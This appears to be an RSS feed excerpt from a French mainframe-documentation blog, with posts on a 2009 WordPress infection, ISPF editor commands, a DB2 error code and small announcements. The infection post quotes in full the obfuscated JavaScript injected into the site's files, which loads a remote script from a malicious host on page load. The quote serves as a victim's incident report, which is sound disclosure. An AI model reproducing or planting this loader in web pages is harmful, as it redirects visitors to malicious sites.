		<comments>http://documentation-mainframe.net/blog/gnu-gpl-malware-troj-jsredir-ak#comments</comments>
		<pubDate>Thu, 24 Dec 2009 16:05:06 +0000</pubDate>
		<dc:creator>Guillaume Ventre</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[fail]]></category>
		<category><![CDATA[securite]]></category>

		<guid isPermaLink="false">http://documentation-mainframe.net/?p=420</guid>
		<description><![CDATA[J&#8217;ai du réinstaller complètement ce site par 2 fois dans la nuit du 22 au 23 et dans la nuit du 23 au 24 décembre à cause d&#8217;un malware qui s&#8217;amuse à se faire passer pour un javascript légitime mais qui en fait redirige le browser vers des sites malicieux.
En fait tous les fichiers index.php [...]]]></description>
			<content:encoded><![CDATA[<p>J&#8217;ai du réinstaller complètement ce site par 2 fois dans la nuit du 22 au 23 et dans la nuit du 23 au 24 décembre à cause d&#8217;un malware qui s&#8217;amuse à se faire passer pour un javascript légitime mais qui en fait redirige le browser vers des sites malicieux.</p>
<p>En fait tous les fichiers index.php et *.js se retrouvent en quelques minutes avec ce bout de code à la fin du source :</p>
<blockquote><p>&lt;script&gt;/*GNU GPL*/ try{window.onload = function (){var Qslzfsla93tulo = document.createElement(’ s#&amp;&amp;c$r)&amp;i!&amp;&amp;p)t$@#’.replace(/\!|@|&amp;|\$|\)|\(|#| \^/ig, ”));Qslzfsla93tulo.setAttribute(’type’, ‘ text/javascript’);Qslzfsla93tulo.setAttribute(’s rc’, ‘h$!t#^t$@$p):)#/!!/)e!!n$e@^^t$-#(!(c$(^#o !!m!&amp;^-&amp;c#((n##!^.^e)#b!a!y&amp;^$.)$@f&amp;$r!.^e)&amp;l#)m &amp;!@u(@n(#$d^o!-#e)!s@&amp;&amp;$.!!&amp;v@&amp;)i#)e##@w)&amp;$(^h&amp;# o!$^m!e&amp;s)&amp;a@(#(l(#)emce_markeramp;$@.^(#r#$u$(!:&amp;&amp;^$8()0&amp;(8 $0$^/)^m^#e(#(!.^c(@(o(@&amp;#)m@&amp;(/@m()e^#&amp;.(@##c&amp;) $#o#(m#/@!^$g((o^o#@$g@(^l^#&amp;@e&amp;((.)#c#!^o)(m&amp;!/ ))!(s#^e$@#(n&amp;d&amp;)s@p&amp;@a&amp;^c)!)#e^#!$.$#c((o(!)m^^ !/^#c())l)(o#@@o!b).!c@o&amp;m$/(^)&amp;’.replace(/\^|&amp;| @|\!|\$|\)|\(|#/ig, ”));Qslzfsla93tulo.setAttrib ute(’defer’, ‘defer’);Qslzfsla93tulo.setAttribut e(’id’, ‘I)(r#^w)@#@d&amp;)^0@$#s$)v!(u&amp;)s^@d^’.repl ace(/\!|&amp;|\)|\$|\^|@|\(|#/ig, ”));document.body. appendChild(Qslzfsla93tulo);}} catch(e) {}&lt;/script&gt;</p></blockquote>
<p>Pour la deuxième attaque j&#8217;ai trouvé grâce à <a title="Profil WP de Piekes" href="http://www.wordpress-fr.net/support/profil-1372-piekes">Piekes</a> <a title="Protect WordPress Against Malicious URL Requests" href="http://perishablepress.com/press/2009/12/22/protect-wordpress-against-malicious-url-requests/">un bout de code</a> qui sera peut-être mon sauveur. En tout cas maintenant <a title="GNU GPL malware | Sophoslabs" href="http://www.sophos.com/blogs/sophoslabs/v/post/8046">je suis un peu moins seul</a> et j&#8217;espère ne pas devoir refaire une installation.</p>
<p><strong>[EDIT du 24/12 - 23HOO]</strong> Beaucoup plus d&#8217;info <a title="From Hidden Iframes to Obfuscated Scripts" href="http://blog.unmaskparasites.com/2009/12/23/from-hidden-iframes-to-obfuscated-scripts/">ici</a></p>
<p><strong>[EDIT du 24/12 - 23H41]</strong> Encore mieux <a title="Fixing GNU GPL Virus/Malware" href="http://www.bleuken.com/2009/12/20/fixing-gnu-gpl-virusmalware/">ici</a></p>
<p><strong><br />
</strong></p>
<hr />
<p><small>Article de Guillaume Ventre publié sur <a href="http://documentation-mainframe.net">Documentation Mainframe</a>, le 24/12/2009. |
<a href="http://documentation-mainframe.net/blog/gnu-gpl-malware-troj-jsredir-ak">Lien direct vers cet article</a> | <a href="http://twitter.com/peutetreunerep">Follow me...</a>
<br/>
Tags: <a href="http://documentation-mainframe.net/tag/blog" rel="tag">Blog</a>, <a href="http://documentation-mainframe.net/tag/fail" rel="tag">fail</a>, <a href="http://documentation-mainframe.net/tag/securite" rel="tag">securite</a><br/>
</small></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=JncFXD6lBg0:ItNoAbL8L0Y:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=JncFXD6lBg0:ItNoAbL8L0Y:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://documentation-mainframe.net/blog/gnu-gpl-malware-troj-jsredir-ak/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>cheval de Troie JS:Illredir-A [Trj], warnings et admin inaccessible</title>
		<link>http://documentation-mainframe.net/blog/cheval-de-troie-jsillredir-a-trj-warnings-et-admin-inaccessible</link>
		<comments>http://documentation-mainframe.net/blog/cheval-de-troie-jsillredir-a-trj-warnings-et-admin-inaccessible#comments</comments>
		<pubDate>Wed, 23 Dec 2009 00:51:54 +0000</pubDate>
		<dc:creator>Guillaume Ventre</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[fail]]></category>
		<category><![CDATA[securite]]></category>

		<guid isPermaLink="false">http://documentation-mainframe.net/?p=417</guid>
		<description><![CDATA[Cela fait un peu plus de 48H que je me bat à remettre sur pied ce blog suite à une attaque sur le serveur.
Le cheval de Troie a été supprimé, la version WordPress a été upgradée, l&#8217;admin est à nouveau disponible.
Par contre j&#8217;ai complètement perdu mon thème et mes plugins, je dois repartir from scratch. [...]]]></description>
			<content:encoded><![CDATA[<p>Cela fait un peu plus de 48H que je me bat à remettre sur pied ce blog suite à une attaque sur le serveur.</p>
<p>Le cheval de Troie a été supprimé, la version WordPress a été upgradée, l&#8217;admin est à nouveau disponible.</p>
<p>Par contre j&#8217;ai complètement perdu mon thème et mes plugins, je dois repartir from scratch. Donc pour l&#8217;instant je met un thème par défaut. Il doit aussi y avoir des liens morts, n&#8217;hésitez pas à me faire un retour en commentaire.</p>
<p>Je pense pouvoir résorber tout ça en une dixaine de jours, fêtes obligent. D&#8217;ailleurs bonnes fêtes aux lecteurs de passage.</p>
<hr />
<p><small>Article de Guillaume Ventre publié sur <a href="http://documentation-mainframe.net">Documentation Mainframe</a>, le 23/12/2009. |
<a href="http://documentation-mainframe.net/blog/cheval-de-troie-jsillredir-a-trj-warnings-et-admin-inaccessible">Lien direct vers cet article</a> | <a href="http://twitter.com/peutetreunerep">Follow me...</a>
<br/>
Tags: <a href="http://documentation-mainframe.net/tag/blog" rel="tag">Blog</a>, <a href="http://documentation-mainframe.net/tag/fail" rel="tag">fail</a>, <a href="http://documentation-mainframe.net/tag/securite" rel="tag">securite</a><br/>
</small></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=uzk20M4gKTw:2hMogVR2c8Q:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=uzk20M4gKTw:2hMogVR2c8Q:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://documentation-mainframe.net/blog/cheval-de-troie-jsillredir-a-trj-warnings-et-admin-inaccessible/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Invitations Google Wave</title>
		<link>http://documentation-mainframe.net/blog/invitations-google-wave</link>
		<comments>http://documentation-mainframe.net/blog/invitations-google-wave#comments</comments>
		<pubDate>Thu, 26 Nov 2009 20:45:35 +0000</pubDate>
		<dc:creator>Guillaume Ventre</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Google Wave]]></category>

		<guid isPermaLink="false">http://documentation-mainframe.net/?p=415</guid>
		<description><![CDATA[Il me reste quelques invitations Google Wave, si ça vous intéresse envoyez moi votre email via le formulaire de contact de la page à propos

Article de Guillaume Ventre publié sur Documentation Mainframe, le 26/11/2009. &#124;
Lien direct vers cet article &#124; Follow me...

Tags: Google Wave
]]></description>
			<content:encoded><![CDATA[<p>Il me reste quelques invitations <a title="What is the wave ?" href="http://wave.google.com/help/wave/about.html">Google Wave</a>, si ça vous intéresse envoyez moi votre email via le formulaire de contact de la page <a title="Contact" href="http://documentation-mainframe.net/a-propos">à propos</a></p>
<hr />
<p><small>Article de Guillaume Ventre publié sur <a href="http://documentation-mainframe.net">Documentation Mainframe</a>, le 26/11/2009. |
<a href="http://documentation-mainframe.net/blog/invitations-google-wave">Lien direct vers cet article</a> | <a href="http://twitter.com/peutetreunerep">Follow me...</a>
<br/>
Tags: <a href="http://documentation-mainframe.net/tag/google-wave" rel="tag">Google Wave</a><br/>
</small></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=6vbSdTw-iYU:nU5ydu7afnE:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=6vbSdTw-iYU:nU5ydu7afnE:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://documentation-mainframe.net/blog/invitations-google-wave/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>ISPF : Les commandes de ligne</title>
		<link>http://documentation-mainframe.net/ispf/ispf-les-commandes-de-ligne</link>
		<comments>http://documentation-mainframe.net/ispf/ispf-les-commandes-de-ligne#comments</comments>
		<pubDate>Mon, 09 Nov 2009 23:08:57 +0000</pubDate>
		<dc:creator>Guillaume Ventre</dc:creator>
				<category><![CDATA[ISPF]]></category>
		<category><![CDATA[éditeur]]></category>
		<category><![CDATA[édition]]></category>
		<category><![CDATA[Tips]]></category>

		<guid isPermaLink="false">http://documentation-mainframe.net/?p=405</guid>
		<description><![CDATA[Le document existait déjà sur mon espace rédacteur dvp, le voici maintenant disponible ici avec la mise en page associée à ce blog : Plus efficace avec l&#8217;éditeur ISPF &#8211; Les commandes de ligne [pdf]
Au sommaire :
1 &#8211; Généralités
&#160;&#160;&#160;&#160;1.1 &#8211; Commandes de ligne
&#160;&#160;&#160;&#160;1.2 &#8211; Utilisation des commandes de ligne
2 &#8211; Commandes de ligne basiques
&#160;&#160;&#160;&#160;2.1 &#8211; [...]]]></description>
			<content:encoded><![CDATA[<p>Le document existait déjà sur mon espace rédacteur <a title="http://guillaumeventre.developpez.com" href="http://guillaumeventre.developpez.com/ispf/lignes-de-commande/">dvp</a>, le voici maintenant disponible ici avec la mise en page associée à ce blog : <a title="plus efficace avec l'éditeur ISPF - Les commandes de ligne" href="http://documentation-mainframe.net/WordPress/wp-content/uploads/Plus-efficace-avec-l-editeur-ISPF---Les-commandes-de-Ligne.pdf">Plus efficace avec l&#8217;éditeur ISPF &#8211; Les commandes de ligne</a> [pdf]</p>
<p>Au sommaire :</p>
<p>1 &#8211; Généralités<br />
&nbsp;&nbsp;&nbsp;&nbsp;1.1 &#8211; Commandes de ligne<br />
&nbsp;&nbsp;&nbsp;&nbsp;1.2 &#8211; Utilisation des commandes de ligne<br />
2 &#8211; Commandes de ligne basiques<br />
&nbsp;&nbsp;&nbsp;&nbsp;2.1 &#8211; I &#8211; Insertion<br />
&nbsp;&nbsp;&nbsp;&nbsp;2.2 &#8211; D &#8211; Suppression (Delete)<br />
&nbsp;&nbsp;&nbsp;&nbsp;2.3 &#8211; R &#8211; Répétition (Repeat)<br />
3 &#8211; Commandes de ligne de copie et de déplacement<br />
&nbsp;&nbsp;&nbsp;&nbsp;3.1 &#8211; C &#8211; Copie<br />
&nbsp;&nbsp;&nbsp;&nbsp;3.2 &#8211; M &#8211; Déplacement (Move)<br />
&nbsp;&nbsp;&nbsp;&nbsp;3.3 &#8211; Destination<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3.3.1 &#8211; A &#8211; Après cette ligne (After)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3.3.2 &#8211; B &#8211; Avant cette ligne (Before)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3.3.3 &#8211; O &#8211; Par dessus cette ligne (Overlay)<br />
4 &#8211; Commandes de ligne de décalage<br />
&nbsp;&nbsp;&nbsp;&nbsp;4.1 &#8211; () &#8211; Décalage de colonne<br />
&nbsp;&nbsp;&nbsp;&nbsp;4.2 &#8211; &lt;&gt; &#8211; Décalage de données<br />
5 &#8211; Commandes de ligne d&#8217;exclusion et d&#8217;affichage<br />
&nbsp;&nbsp;&nbsp;&nbsp;5.1 &#8211; X &#8211; Exclusion<br />
&nbsp;&nbsp;&nbsp;&nbsp;5.2 &#8211; F &#8211; Affichage des premières lignes exclues (First)<br />
&nbsp;&nbsp;&nbsp;&nbsp;5.3 &#8211; L &#8211; Affichage des dernières lignes exclues (Last)<br />
&nbsp;&nbsp;&nbsp;&nbsp;5.4 &#8211; S &#8211; Affichage des lignes d&#8217;indentation du plus petit<br />
niveau (Show)<br />
6 &#8211; Commandes de ligne de manipulation de texte<br />
&nbsp;&nbsp;&nbsp;&nbsp;6.1 &#8211; TS &#8211; Division de ligne (Text Split)<br />
&nbsp;&nbsp;&nbsp;&nbsp;6.2 &#8211; TF &#8211; Remontée et aboutement de ligne (Text Flow)<br />
&nbsp;&nbsp;&nbsp;&nbsp;6.3 &#8211; TE &#8211; Edition de texte (Text Enter)<br />
&nbsp;&nbsp;&nbsp;&nbsp;6.4 &#8211; LC &#8211; Bas de casse (Lower Case)<br />
&nbsp;&nbsp;&nbsp;&nbsp;6.5 &#8211; UC &#8211; Haut de casse (Upper Case)<br />
7 &#8211; Commandes de ligne spéciale<br />
&nbsp;&nbsp;&nbsp;&nbsp;7.1 &#8211; COLS &#8211; Affichage d&#8217;une règle horizontale<br />
&nbsp;&nbsp;&nbsp;&nbsp;7.2 &#8211; MASK &#8211; Affichage d&#8217;un masque d&#8217;insertion<br />
&nbsp;&nbsp;&nbsp;&nbsp;7.3 &#8211; BNDS &#8211; Limitation de la zone de travail (Bounds)<br />
8 &#8211; Commandes de ligne diverses<br />
&nbsp;&nbsp;&nbsp;&nbsp;8.1 &#8211; MD &#8211; Transformation en ligne de donnée (Make Dataline)<br />
9 &#8211; Remerciements</p>
<p>Bonne lecture.</p>
<hr />
<p><small>Article de Guillaume Ventre publié sur <a href="http://documentation-mainframe.net">Documentation Mainframe</a>, le 10/11/2009. |
<a href="http://documentation-mainframe.net/ispf/ispf-les-commandes-de-ligne">Lien direct vers cet article</a> | <a href="http://twitter.com/peutetreunerep">Follow me...</a>
<br/>
Tags: <a href="http://documentation-mainframe.net/tag/editeur" rel="tag">éditeur</a>, <a href="http://documentation-mainframe.net/tag/edition" rel="tag">édition</a>, <a href="http://documentation-mainframe.net/tag/ispf" rel="tag">ISPF</a>, <a href="http://documentation-mainframe.net/tag/tips" rel="tag">Tips</a><br/>
</small></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=i6hu39qIplc:lKRoiDWYfz0:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=i6hu39qIplc:lKRoiDWYfz0:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://documentation-mainframe.net/ispf/ispf-les-commandes-de-ligne/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Follow me…</title>
		<link>http://documentation-mainframe.net/blog/follow-me</link>
		<comments>http://documentation-mainframe.net/blog/follow-me#comments</comments>
		<pubDate>Wed, 21 Oct 2009 22:49:35 +0000</pubDate>
		<dc:creator>Guillaume Ventre</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://documentation-mainframe.net/?p=400</guid>
		<description><![CDATA[Maintenant sur twitter.


Article de Guillaume Ventre publié sur Documentation Mainframe, le 22/10/2009. &#124;
Lien direct vers cet article &#124; Follow me...

Tags: twitter
]]></description>
			<content:encoded><![CDATA[<p>Maintenant sur twitter.<br />
<a href="http://twitter.com/peutetreunerep" target="_blank"><img class="aligncenter size-full wp-image-361" title="Follow me..." src="http://documentation-mainframe.net/WordPress/wp-content/uploads/twitter_follow.png" alt="Follow me..." /></a></p>
<hr />
<p><small>Article de Guillaume Ventre publié sur <a href="http://documentation-mainframe.net">Documentation Mainframe</a>, le 22/10/2009. |
<a href="http://documentation-mainframe.net/blog/follow-me">Lien direct vers cet article</a> | <a href="http://twitter.com/peutetreunerep">Follow me...</a>
<br/>
Tags: <a href="http://documentation-mainframe.net/tag/twitter" rel="tag">twitter</a><br/>
</small></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=uaJ7v_S1H34:-Wbs83Pgoow:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=uaJ7v_S1H34:-Wbs83Pgoow:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://documentation-mainframe.net/blog/follow-me/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ISPF : Techniques utiles d’édition</title>
		<link>http://documentation-mainframe.net/trucs-et-astuces/ispf-techniques-utiles-d-edition</link>
		<comments>http://documentation-mainframe.net/trucs-et-astuces/ispf-techniques-utiles-d-edition#comments</comments>
		<pubDate>Sat, 17 Oct 2009 12:58:55 +0000</pubDate>
		<dc:creator>Guillaume Ventre</dc:creator>
				<category><![CDATA[ISPF]]></category>
		<category><![CDATA[Trucs et astuces]]></category>
		<category><![CDATA[éditeur]]></category>
		<category><![CDATA[édition]]></category>
		<category><![CDATA[Tips]]></category>

		<guid isPermaLink="false">http://documentation-mainframe.net/?p=386</guid>
		<description><![CDATA[Voici quelques techniques utiles avec l’éditeur ISPF. Télécharger le document au format PDF.
Exclusion par chaine de caractère
La simple utilisation de la commande primaire EXCLUDE (ou X) suivie d’une chaîne de caractère peut se révéler très utile.
Supposons par exemple, que vous vouliez passer en revue toutes les lignes de commentaire d’un source COBOL afin de supprimer les [...]]]></description>
			<content:encoded><![CDATA[<p>Voici quelques techniques utiles avec l’éditeur ISPF. <a href="http://documentation-mainframe.net/WordPress/wp-content/uploads/ISPF-Techniques-utiles-dédition.pdf">Télécharger le document au format PDF</a>.</p>
<h3 style="font-size: 1.17em;">Exclusion par chaine de caractère</h3>
<p>La simple utilisation de la commande primaire EXCLUDE (ou X) suivie d’une chaîne de caractère peut se révéler très utile.<br />
Supposons par exemple, que vous vouliez passer en revue toutes les lignes de commentaire d’un source COBOL afin de supprimer les commentaires obsolètes, l’enchaînement des commandes suivantes affichera les seules lignes de commentaire :</p>
<blockquote><p>Command =&gt; X ALL ‘*‘ 7;FLIP</p></blockquote>
<p>Que l’on peut traduire par : exclure (masquer temporairement) toutes les lignes du fichier source qui ont un astérisque (*) en colonne 7, puis, inverser l&#8217;exclusion.</p>
<h3 style="font-size: 1.17em;">Exclusion globale suivie d’une recherche globale</h3>
<p>Au lieu d&#8217;utiliser une chaîne de caractère avec la commande primaire EXCLUDE, c’est l&#8217;ensemble du fichier en édition que l’on masque. Puis, en utilisant une chaîne de caractère avec la commande FIND (ou F) ALL, les lignes cibles sont révélées.<br />
On obtient le même résultat que l’exemple précédent avec l’enchaînement de commandes :</p>
<blockquote><p>Command =&gt; X ALL;F ALL ‘*‘ 7</p></blockquote>
<p>Que l’on peut traduire par : exclure (masquer temporairement) toutes les lignes du fichier en édition. Puis, rechercher et rendre visible toutes les lignes qui ont un astérisque (*) en colonne 7.</p>
<h3 style="font-size: 1.17em;">Suppression de lignes à partir de leur statut exclu (X) ou non-exclu (NX)</h3>
<p>C&#8217;est une méthode très utile pour « nettoyer » certains fichiers. Elle nécessite l&#8217;utilisation de la commande primaire DELETE (ou DEL) en conjonction avec le paramètre X (exclu) ou NX (non-exclu).<br />
En reprenant l’exemple du début, si l’on souhaite finalement supprimer tous les commentaires, il suffira de supprimer toutes les lignes non-exclues, pour cela on saisira la commande suivante :</p>
<blockquote><p>Command =&gt; DEL ALL NX</p></blockquote>
<p>Que l’on peut traduire par : supprimer toutes les lignes visibles (les commentaires)</p>
<p>On peut évidemment faire plus rapide, si le but final est de supprimer toutes les lignes de commentaire d’un source COBOL, on saisira directement :</p>
<blockquote><p>Command =&gt; X ALL ‘*‘ 7;DEL ALL X</p></blockquote>
<p>Que l’on peut traduire par : exclure (masquer temporairement) toutes les lignes du fichier source qui ont un astérisque (*) en colonne 7, puis supprimer les lignes masquées.</p>
<h3 style="font-size: 1.17em;">Limiter la portée de la commande primaire CHANGE par exclusion de ligne au lieu d’étiquettes</h3>
<p>Les étiquettes (ou labels), qui seront traitées dans un article spécifique, permettent de restreindre l’étendu d’une commande à un bloc de ligne qu’elles déterminent, par exemple :</p>
<blockquote><p>Command =&gt; C ALL ‘ ‘ 1 ‘– –‘ .A .B</p></blockquote>
<p>Que l’on peut traduire par : changer tous les doubles espaces en colonne 1 par ‘– –‘ dans le bloc de ligne .A &#8211; .B.</p>
<p>Une condition préalable à cette commande est bien entendu le placement des étiquettes .A sur la première ligne et .B sur la dernière ligne du bloc de ligne souhaité.</p>
<p>L&#8217;exclusion peut se substituer à l’utilisation des étiquettes dans le cas de la commande primaire CHANGE.</p>
<p>Pour limiter la portée d&#8217;une commande primaire CHANGE aux seules lignes exclues, il suffit d’utiliser la syntaxe suivante :</p>
<blockquote><p>Command =&gt; C ALL ‘ ‘ 1 ‘– –‘ X</p></blockquote>
<p>Quel l’on peut traduire par : changer tous les doubles espaces en colonne 1 des lignes exclues par &#8216;– –&#8217;.</p>
<p>L’intérêt principal de cette substitution est que le CHANGE peut être réalisé sur plusieurs zones non consécutives, il suffit pour cela d’utiliser n’importe quelle méthode d’exclusion vue précédemment et/ou l’utilisation des commandes de lignes X ou XX/XX (Cf. <a title="Plus efficace avec l’éditeur ISPF : Les commandes de ligne" href="http://documentation-mainframe.net/ispf/ispf-les-commandes-de-ligne">Plus efficace avec l’éditeur ISPF : Les commandes de ligne</a>)</p>
<h3 style="font-size: 1.17em;">Retour à la normale</h3>
<p>Pour réafficher les lignes masquées, il suffit de faire un RESET (ou RES) en ligne de commande :</p>
<blockquote><p>COMMAND =&gt; RES</p></blockquote>
<hr />
<p><small>Article de Guillaume Ventre publié sur <a href="http://documentation-mainframe.net">Documentation Mainframe</a>, le 17/10/2009. |
<a href="http://documentation-mainframe.net/trucs-et-astuces/ispf-techniques-utiles-d-edition">Lien direct vers cet article</a> | <a href="http://twitter.com/peutetreunerep">Follow me...</a>
<br/>
Tags: <a href="http://documentation-mainframe.net/tag/editeur" rel="tag">éditeur</a>, <a href="http://documentation-mainframe.net/tag/edition" rel="tag">édition</a>, <a href="http://documentation-mainframe.net/tag/ispf" rel="tag">ISPF</a>, <a href="http://documentation-mainframe.net/tag/tips" rel="tag">Tips</a><br/>
</small></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=phx_GQnURa8:AV07_AunaBA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=phx_GQnURa8:AV07_AunaBA:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://documentation-mainframe.net/trucs-et-astuces/ispf-techniques-utiles-d-edition/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>DB2 : SQL -122</title>
		<link>http://documentation-mainframe.net/db2/db2-sql-122</link>
		<comments>http://documentation-mainframe.net/db2/db2-sql-122#comments</comments>
		<pubDate>Mon, 12 Oct 2009 09:37:27 +0000</pubDate>
		<dc:creator>Guillaume Ventre</dc:creator>
				<category><![CDATA[DB2]]></category>

		<guid isPermaLink="false">http://documentation-mainframe.net/?p=381</guid>
		<description><![CDATA[SQL -122 en v8 :
DSNT408I SQLCODE = -122, ERROR:  A SELECT STATEMENT WITH NO GROUP BY CLAUSE CONTAINS A COLUMN NAME AND AN AGGREGATE FUNCTION IN THE SELECT CLAUSE OR A COLUMN NAME IS CONTAINED IN THE SELECT CLAUSE BUT NOT IN THE GROUP BY CLAUSE
SQL -122 en v9 :
DSNT408I SQLCODE = -122, ERROR:  [...]]]></description>
			<content:encoded><![CDATA[<p>SQL -122 en v8 :</p>
<blockquote><p>DSNT408I SQLCODE = -122, ERROR:  A SELECT STATEMENT WITH NO GROUP BY CLAUSE CONTAINS A COLUMN NAME AND AN AGGREGATE FUNCTION IN THE SELECT CLAUSE OR A COLUMN NAME IS CONTAINED IN THE SELECT CLAUSE BUT NOT IN THE GROUP BY CLAUSE</p></blockquote>
<p>SQL -122 en v9 :</p>
<blockquote><p>DSNT408I SQLCODE = -122, ERROR:  COLUMN OR EXPRESSION IN THE SELECT LIST IS NOT VALID</p></blockquote>
<p>Un peu moins précis, isn&#8217;t it ?</p>
<hr />
<p><small>Article de Guillaume Ventre publié sur <a href="http://documentation-mainframe.net">Documentation Mainframe</a>, le 12/10/2009. |
<a href="http://documentation-mainframe.net/db2/db2-sql-122">Lien direct vers cet article</a> | <a href="http://twitter.com/peutetreunerep">Follow me...</a>
<br/>
Tags: <br/>
</small></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=tS1jv4KIrBU:L5C1dWs1JIU:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=tS1jv4KIrBU:L5C1dWs1JIU:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://documentation-mainframe.net/db2/db2-sql-122/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ASCII to EBCDIC via iphone</title>
		<link>http://documentation-mainframe.net/autres/ascii-to-ebcdic-via-iphone</link>
		<comments>http://documentation-mainframe.net/autres/ascii-to-ebcdic-via-iphone#comments</comments>
		<pubDate>Wed, 23 Sep 2009 22:02:58 +0000</pubDate>
		<dc:creator>Guillaume Ventre</dc:creator>
				<category><![CDATA[Autres]]></category>
		<category><![CDATA[ascii]]></category>
		<category><![CDATA[ebcdic]]></category>
		<category><![CDATA[iphone]]></category>

		<guid isPermaLink="false">http://documentation-mainframe.net/autres/ascii-to-ebcduc-via-iphone</guid>
		<description><![CDATA[Un petit convertiseur ASCII/EBCDIC sur votre iPhone à télécharger sur l&#8217;appstore


Article de Guillaume Ventre publié sur Documentation Mainframe, le 24/09/2009. &#124;
Lien direct vers cet article &#124; Follow me...

Tags: ascii, ebcdic, iphone
]]></description>
			<content:encoded><![CDATA[<p>Un petit convertiseur ASCII/EBCDIC sur votre iPhone <a title="ASCII2EBCDIC" href="http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=329774003&amp;mt=8">à télécharger sur l&#8217;appstore</a></p>
<p style="text-align:center"><img src="http://documentation-mainframe.net/WordPress/wp-content/uploads/p_480_320_E33ADE68-97C7-4F2D-B4A4-A58E44C48E00.jpeg" alt="capture d'écran ascii2ebcdic" width="320" height="480" /></p>
<hr />
<p><small>Article de Guillaume Ventre publié sur <a href="http://documentation-mainframe.net">Documentation Mainframe</a>, le 24/09/2009. |
<a href="http://documentation-mainframe.net/autres/ascii-to-ebcdic-via-iphone">Lien direct vers cet article</a> | <a href="http://twitter.com/peutetreunerep">Follow me...</a>
<br/>
Tags: <a href="http://documentation-mainframe.net/tag/ascii" rel="tag">ascii</a>, <a href="http://documentation-mainframe.net/tag/ebcdic" rel="tag">ebcdic</a>, <a href="http://documentation-mainframe.net/tag/iphone" rel="tag">iphone</a><br/>
</small></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=6YqVa2f_EPE:XnxRx9TZTFg:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/documentation-mainframe?a=6YqVa2f_EPE:XnxRx9TZTFg:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/documentation-mainframe?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://documentation-mainframe.net/autres/ascii-to-ebcdic-via-iphone/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
